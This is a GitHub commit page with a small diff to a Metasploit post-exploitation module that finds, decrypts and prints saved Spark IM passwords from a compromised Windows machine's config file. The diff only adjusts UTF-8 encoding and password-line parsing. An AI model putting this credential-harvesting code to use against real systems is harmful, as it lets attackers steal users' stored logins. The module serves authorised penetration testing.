Skip to content

Commit bcc651a

Browse files
committed
modified password parsing, and utf encoding
1 parent 073565c commit bcc651a

File tree

1 file changed

+4
-3
lines changed

1 file changed

+4
-3
lines changed

modules/post/windows/gather/credentials/spark_im.rb

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -52,7 +52,7 @@ def decrypt(hash)
5252
password = cipher.update encrypted
5353
password << cipher.final
5454

55-
password = password.encode('UTF-8')
55+
password = ::Rex::Text.to_utf8(password)
5656

5757
credentials = password.split("\u0001")
5858
print_good("Decrypted Username #{credentials[0]} Password: #{credentials[1]}")
@@ -91,7 +91,7 @@ def run
9191
contents = config.read
9292

9393
# look for lines containing string 'password'
94-
password = contents.split("\n").grep(/password/)
94+
password= contents.split("\n").grep(/password/)
9595
if password.nil?
9696
# file doesn't contain a password
9797
print_status("#{file} does not contain any saved passwords")
@@ -101,7 +101,8 @@ def run
101101
end
102102

103103
# store the hash close the file
104-
hash = password[1].split("password").join.chomp
104+
password = password.delete_if {|e| e !~ /password.+=.+=\r/}
105+
hash = password[0].split("password").join.chomp
105106
print_status("Spark password hash: #{hash}") if datastore['VERBOSE']
106107
config.close
107108

0 commit comments

Comments
 (0)